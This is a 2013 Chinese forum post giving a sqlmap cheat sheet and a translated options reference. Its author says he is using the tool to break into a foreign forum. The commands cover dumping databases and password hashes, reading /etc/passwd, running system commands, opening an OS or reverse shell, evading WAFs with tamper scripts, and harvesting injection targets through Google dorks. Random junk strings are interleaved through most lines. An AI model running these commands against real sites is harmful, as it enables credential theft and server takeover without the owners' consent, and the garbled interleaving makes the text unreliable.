中国网络渗透测试联盟
标题:
sqlmap注入命令的使用方法
[打印本页]
作者:
admin
时间:
2013-4-4 22:26
标题:
sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
: S, U: p3 g0 O* o7 }1 V( j3 P
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “
http://www.xxoo.com/news?id=1
″ –current-db #获取当前数 据库名称
7 M6 [4 O; G+ S& d
sqlmap -u “
http://www.xxoo.com/news?id=1
″ –tables -D “db_name”#列 表名
, ?: M N" ?* \8 G/ a
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
0 A, f# B. H9 j2 `- |5 L
! _/ {+ ^- Y( Z
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
3 }! b1 j8 R7 R7 N
0 #获取字段内容
6 {+ S) ?& [( h$ {
( w6 @4 g8 I. {0 `/ J) f
******************信息获取******************
, s' `* w3 }" r# n- F4 Y7 d4 J
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
* X/ t0 |8 w; X: ~) T* ]0 l( y, b
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
; ^1 }+ d' a5 f
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
7 g6 E1 E4 I6 o0 Y
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
3 S5 f& ^ ?1 Z# G
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
6 K3 d. A+ v7 E$ t1 _
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
: @' J, u4 S5 W2 s Y
–start 1 –stop 20 #列出指定字段,列出20 条
) P# R$ l6 k( [ A S9 Y* G ]
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
- K" M- C9 i3 h
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
6 i, {6 S5 Q! d* B) ]7 @
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
1 V; e; D e& a: o
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
2 O) f! }' q- |+ t; E; s8 O4 G, g
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
5 u% [6 l [/ ^; j" D) U
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
3 r m( g) @6 f
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
! B5 Q( ]1 U. e
sqlmap -u “http://url/news?id=1″-b #获取banner信息
5 k( a: Y8 F; g: b9 L0 g
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
8 X$ Y5 w4 f. | v
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
% I6 m2 F: u, q4 s+ ^4 w5 Z: x" o
sqlmap -u “http://url/news?id=1″ –proxy“
http://127.0.0.1:8118
” #代理注 入
: N ~. x( j h' u3 ^
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
2 m2 T) Z- i3 C1 [- |4 H8 [1 Y0 M
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
$ P* G" \/ d) v% g4 C3 v1 @
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
" T7 s8 F% {+ m
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
( r! k6 {" S9 d8 [8 R: f
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
# ?; t9 k% R: Q! e
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
' h1 H$ j4 B; c: Z/ z
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
6 R* J, t: g2 i
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
6 X: k' {* P n5 J/ n
***********高级用法*************
! D# d9 z) C y; Z+ B
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
) X: N+ ?7 E& i
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
6 Q6 Y4 b0 S! R! |3 N& S d
–technique 测试指定注入类型\使用的技术
8 r1 e9 p) V6 y2 R {6 `
不加参数默认测试所有注入技术
! k* P* X$ @3 n2 ^
• B: 基于布尔的SQL 盲注
3 K* r- m4 Q v, G
• E: 基于显错sql 注入
8 q& P8 E" a( K1 X: I5 y( D
• U: 基于UNION 注入
6 A. W1 ^' J: C% n
• S: 叠层sql 注入
# M, R6 d V8 F# m/ d0 T. X
• T: 基于时间盲注
8 n' B5 w6 e3 D5 t3 K& E3 G6 H
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
. y- m; H3 Z6 u( x, H6 j# T/ ?2 x
–tamper 插件所在目录
, K. H4 _4 }; C
\sqlmap-dev\tamper
0 Q# a$ U$ y! ?
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
) X4 a$ f2 J$ l3 O% T9 E
level 执行测试等级 攻击实例:
& b+ }4 J& b4 f" h
Sqlmap -u “http://url/news?id=1&Submit=Submit”
$ N& w9 s& f/ S6 H
–cookie=”PHPSESSID=41aa833e6d0d
4 F: g& @ e: U2 Q
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
/ C0 `$ @+ {3 v4 n: N/ Y% c3 h9 i
–password
5 W& s8 ~5 H- F; j0 H2 E+ _6 @# b
参考文档:
http://sqlmap.sourceforge.net/doc/README.html
+ U3 s& a3 b8 t. @/ U5 G# Q
***********安装最新版本*************
8 y3 \% d( x1 C0 a# N$ H- P
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
6 N# @" U1 K0 P) ~
sudo svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
+ x( ~8 b0 k0 w$ o; |
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
+ X; d, s7 Y1 }1 \$ S. l# F
sudo vim /home/当前用户/.bashrc
' [/ ]* |- z. K# S; c: `- k
#任意位置加上:
% j( C" G1 v5 t3 @! Q- s; L
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
( a- n" `9 M, J- W
如果想对所有用户有效 可设置全局 编辑下面的文件
3 ~: N7 a% C# d% t/ A
vim /etc/profile
4 M% O6 F5 A: l$ W R+ j/ u1 o
同样加上:
7 E9 ~. H) F/ f4 z: O) b
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
3 d6 h0 ^1 R) }3 _) t; _
******************windows 7 (x64) sqlmap install (SVN)************
! o6 _8 j; V6 ?7 g& z$ E
http://www.python.org/getit/
安装python
3 ^. D( {- e& [7 R
http://www.sliksvn.com/en/download
安装windows svn client
. c( ~4 E, a8 k7 u5 |
svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
/ c; b5 p4 S: \4 r4 ]+ {4 } V
安装sqlmap
+ ?# o- a# @; w9 e& n$ J0 f
*修改环境变量
1 q/ j; S& k0 W5 q1 |! f6 `; X( p
–version 显示程序的版本号并退出
6 d: i7 f# e0 V( O! a7 {1 a
-h, –help 显示此帮助消息并退出
) H# b4 P4 ], X3 x9 k- c2 ~
-v VERBOSE 详细级别:0-6(默认为1)
$ A2 g* {2 E2 {5 D# j$ t- k
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
/ P) Y/ k/ Y& y1 @
-d DIRECT 直接连接到数据库。
( S0 J& b2 ]) _" b4 D% {
-u URL, –url=URL 目标URL。
0 ^/ a v, e: [+ K3 ~, ~
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
3 w# E2 ]: T) J' r* f. Y
-r REQUESTFILE 从一个文件中载入HTTP 请求。
+ Y; F1 W5 q8 R1 n5 P2 Q
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
: O2 l/ N, r) v) R/ W. D$ n
-c CONFIGFILE 从INI 配置文件中加载选项。
2 R5 Y: u" d. I, I3 D0 y3 @) G
Request(请求)::
1 l0 `# f: [( \8 {7 |" Z& U3 \
这些选项可以用来指定如何连接到目标URL。
2 i4 q2 [4 v: l6 n9 x+ h2 i$ o9 ^
–data=DATA 通过POST 发送的数据字符串
6 Z" f5 O2 P, f% ~4 G2 o6 L
–cookie=COOKIE HTTP Cookie 头
+ X* L& ^8 f4 c6 w
–cookie-urlencode URL 编码生成的cookie 注入
) M* h3 s/ n7 Y9 e
–drop-set-cookie 忽略响应的Set –Cookie 头信息
/ M+ F% {2 [9 k- d( q1 V& ?3 G
: F) N- `: A/ k
–user-agent=AGENT 指定 HTTP User –Agent 头
( ?/ t( {' ~5 T7 ^# ]/ L, x
–random-agent 使用随机选定的HTTP User –Agent 头
7 [# N* p( y+ p4 {5 W
–referer=REFERER 指定 HTTP Referer 头
* Z4 a# \9 T0 _% L, m
–headers=HEADERS 换行分开,加入其他的HTTP 头
/ U" Q3 A' b7 x, w/ H \
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
- q( i8 R n6 c9 Z( |+ g. [
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
. V t% }$ W1 N8 V. [4 F
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
% \: \# e8 B( H# i3 ~: ?# n. w
–proxy=PROXY 使用HTTP 代理连接到目标URL
. b) ]* S' Z" G' a4 x, U3 j8 ^
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
$ [0 l- y; E- U$ h$ l
–ignore-proxy 忽略系统默认的HTTP 代理
+ ?" ], O8 R$ L9 T
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
+ g0 U; Z/ k" a5 S2 e* z
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
5 g' o1 C" [! ]& X" ~
–retries=RETRIES 连接超时后重新连接的时间(默认3)
: R" A$ t( L7 O/ j* g4 @& K
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
2 _. A2 ^9 s( m8 i/ L/ I, s$ q
–safe-url=SAFURL 在测试过程中经常访问的url 地址
7 U) P! h& `9 j1 _1 n
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
* p0 A* I3 m% h$ }
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
! u( p; W2 O7 N
-o 开启所有优化开关
, a* F. T3 v, o3 S4 C" {, F
–predict-output 预测常见的查询输出
( v* D% D% v2 \: M
–keep-alive 使用持久的HTTP(S)连接
$ \! ~( ~1 y" Y
–null-connection 从没有实际的HTTP 响应体中检索页面长度
: p+ Y# z- S, M
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
" ?% }! H; u; g: K9 A7 o, E
Injection(注入):
9 M2 g5 B% N9 V& b3 p) j9 u5 j
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
5 y% r, ?# V0 k. }
-p TESTPARAMETER 可测试的参数(S)
4 r" i; G8 M2 C5 u/ W; r. _
–dbms=DBMS 强制后端的DBMS 为此值
, v9 c: ]. I# E
–os=OS 强制后端的DBMS 操作系统为这个值
$ z9 ~8 E; }; b' a$ O
–prefix=PREFIX 注入payload 字符串前缀
# v8 b* s0 |: Y
–suffix=SUFFIX 注入 payload 字符串后缀
: N: f) T- O7 F% l: ^0 L: f& r
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
6 }% t- w0 d; p( @0 u
Detection(检测):
3 `# w4 i0 }2 U. \4 ?
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
/ {. D3 G, \' g' B, n
–level=LEVEL 执行测试的等级(1-5,默认为1)
( `- v( H* R; t8 Q
–risk=RISK 执行测试的风险(0-3,默认为1)
2 i7 s/ b. A1 T
–string=STRING 查询时有效时在页面匹配字符串
" p* X/ W3 @3 ]: a, T1 j
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
- D5 }, F* f% ?- b6 C4 }6 E. a
–text-only 仅基于在文本内容比较网页
. L" H1 |8 H8 `1 h, Q# G
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
/ o+ o7 a2 {1 A* H2 y: B3 j- z
–technique=TECH SQL 注入技术测试(默认BEUST)
/ Z+ e: s7 B: q
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
; s8 ~6 [% E( A) }3 X: I$ v+ u
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
+ d# N' O9 Y7 J$ n" N
–union-char=UCHAR 用于暴力猜解列数的字符
% m, j1 `; N; P8 G
Fingerprint(指纹):
& m7 J+ I7 W% B U
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
: r" |( \8 A3 ^/ h* ^& W6 L) r
Enumeration(枚举):
! o3 J! k1 b5 a) X9 T6 V) }7 ~6 p
# G3 ^8 y8 I( s7 K
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
2 s" Z( L- D- E N
-b, –banner 检索数据库管理系统的标识
; E/ \& S8 ^0 y( q2 Y
–current-user 检索数据库管理系统当前用户
) I D% l6 `) t
–current-db 检索数据库管理系统当前数据库
1 J- c' @, m7 u, M" o
–is-dba 检测DBMS 当前用户是否DBA
4 C) o* s9 A, Z* y B% H. f
–users 枚举数据库管理系统用户
( b) @1 c5 Z9 U" a
–passwords 枚举数据库管理系统用户密码哈希
! I; I+ i' F$ u8 L& b
–privileges 枚举数据库管理系统用户的权限
" ~) C: h# d/ N; F1 o8 c: O) P
–roles 枚举数据库管理系统用户的角色
$ B4 d* U' U% }( \" Y
–dbs 枚举数据库管理系统数据库
7 _8 l; ~& q- t; u
–tables 枚举的DBMS 数据库中的表
I# C; ?9 H0 W0 f. P4 V% a
–columns 枚举DBMS 数据库表列
% U9 q' t/ O- J) m, \
–dump 转储数据库管理系统的数据库中的表项
$ G$ r1 O/ y% J8 }2 {) Y
–dump-all 转储所有的DBMS 数据库表中的条目
/ i- i( Q. m* g, Y
–search 搜索列(S),表(S)和/或数据库名称(S)
5 E! V" `8 _0 F, \, K" Z
-D DB 要进行枚举的数据库名
" `3 |. c& @1 I2 j4 C8 b b
-T TBL 要进行枚举的数据库表
4 _2 M m5 a H; ~+ @
-C COL 要进行枚举的数据库列
1 H# o7 n, D: K3 i% z
-U USER 用来进行枚举的数据库用户
) `& ^& @, s; n* r1 _" o4 Z
–exclude-sysdbs 枚举表时排除系统数据库
8 |# q' F! K4 @' Z
–start=LIMITSTART 第一个查询输出进入检索
# Z5 x, n3 g! P8 c D' d6 I
–stop=LIMITSTOP 最后查询的输出进入检索
; k% g3 P: x- |2 w Y( ^
–first=FIRSTCHAR 第一个查询输出字的字符检索
+ }( V* h7 m/ l1 n6 Q Q2 m
–last=LASTCHAR 最后查询的输出字字符检索
/ t5 t7 J# g6 f. H; v
–sql-query=QUERY 要执行的SQL 语句
, c& @% s7 a O$ { U
–sql-shell 提示交互式SQL 的shell
2 m' Z* T7 A6 E X" `
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
% P7 t2 w! y& ^7 ~
–common-tables 检查存在共同表
W4 m# w2 k3 b6 K. O% `% o9 n
–common-columns 检查存在共同列
5 G3 C5 ^4 K1 h8 z1 R9 ~6 m5 P
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
$ z0 N/ d9 F% f5 C
–udf-inject 注入用户自定义函数
) j; ?8 g" T2 D! ^
–shared-lib=SHLIB 共享库的本地路径
- o0 k# t: B/ Z8 `; d
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
( @: C- y, Q1 w; T0 ~- d& B% f+ t+ c
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
1 n% F u4 n2 m9 a6 @
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
6 A& ^1 L2 m; j5 C! v3 H
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
, |6 y/ C: Y `. ]1 A6 F1 o n
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
5 Q) C$ y& I) l! P6 m+ K7 |
–os-cmd=OSCMD 执行操作系统命令
% S9 @3 r4 Q' B1 {8 O2 h
–os-shell 交互式的操作系统的shell
, Q9 V4 \* x/ I0 r/ l6 w- R6 A# j
–os-pwn 获取一个OOB shell,meterpreter 或VNC
6 Y% }" ~% H' H% }" _2 f. M' ?
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
1 t5 `# ~2 ]' E" z$ H
–os-bof 存储过程缓冲区溢出利用
% w4 @4 o1 D( N/ p
–priv-esc 数据库进程用户权限提升
9 [$ D. ?5 i6 a' o
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
$ D! K" @6 n, L: {
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
6 K, k1 I# G0 V) G
# G7 ~$ v( [1 c. c
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
5 o- ~7 [0 x2 `% x, G
–reg-read 读一个Windows 注册表项值
6 U( z# z' Z+ E5 W% P
–reg-add 写一个Windows 注册表项值数据
; q: `* }, G5 a* ^& y( P+ Y
–reg-del 删除Windows 注册表键值
- E0 F! P; O) m; f2 `) K) I8 q
–reg-key=REGKEY Windows 注册表键
1 K, j* y& r/ I* C9 q A2 O2 s. {
–reg-value=REGVAL Windows 注册表项值
4 S4 b4 J* t2 {; ?, |' u: c4 J9 n' u
–reg-data=REGDATA Windows 注册表键值数据
- M9 I5 L9 E, ]
–reg-type=REGTYPE Windows 注册表项值类型
3 [* h# J0 D/ Y& o/ {
General(一般): 这些选项可以用来设置一些一般的工作参数。
/ h. ?0 r( _- o" ~5 C
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
( r0 w' T+ D2 w g
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
" K2 v2 @+ S( }" m; Y& i! e0 l
–flush-session 刷新当前目标的会话文件
, @8 I4 g9 y3 ^+ u
–fresh-queries 忽略在会话文件中存储的查询结果
0 |: _ J9 g" K! O
–eta 显示每个输出的预计到达时间
- p7 ^& {. {; ~0 ?5 H! S# u2 o
–update 更新SqlMap
. n* _9 G8 q/ T2 J- V9 S2 @5 p& p: {
–save file 保存选项到INI 配置文件
, @" f! o7 ]5 e& F) l* q% K! U' H7 O% L! {
–batch 从不询问用户输入,使用所有默认配置。
/ P s% @" R' i& C: {
Miscellaneous(杂项):
: J4 o h2 G7 d1 L: M
–beep 发现SQL 注入时提醒
3 ?8 ` f+ w$ N# r2 H/ ~
–check-payload IDS 对注入payloads 的检测测试
- @ r7 ~, y7 Q/ } \
–cleanup SqlMap 具体的UDF 和表清理DBMS
1 ?, @# |5 N# x% g% Y
–forms 对目标URL 的解析和测试形式
4 x; {$ g* q/ i2 ?0 c1 r) R) u4 h0 X
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
0 o6 y8 I6 l2 E* y# |* p
–page-rank Google dork 结果显示网页排名(PR)
. R& U5 z {% X
–parse-errors 从响应页面解析数据库管理系统的错误消息
5 T, y O9 b1 b' ]
–replicate 复制转储的数据到一个sqlite3 数据库
) e+ e& d% s1 S( M
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
' e: `+ J" w' b0 w
–wizard 给初级用户的简单向导界面
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2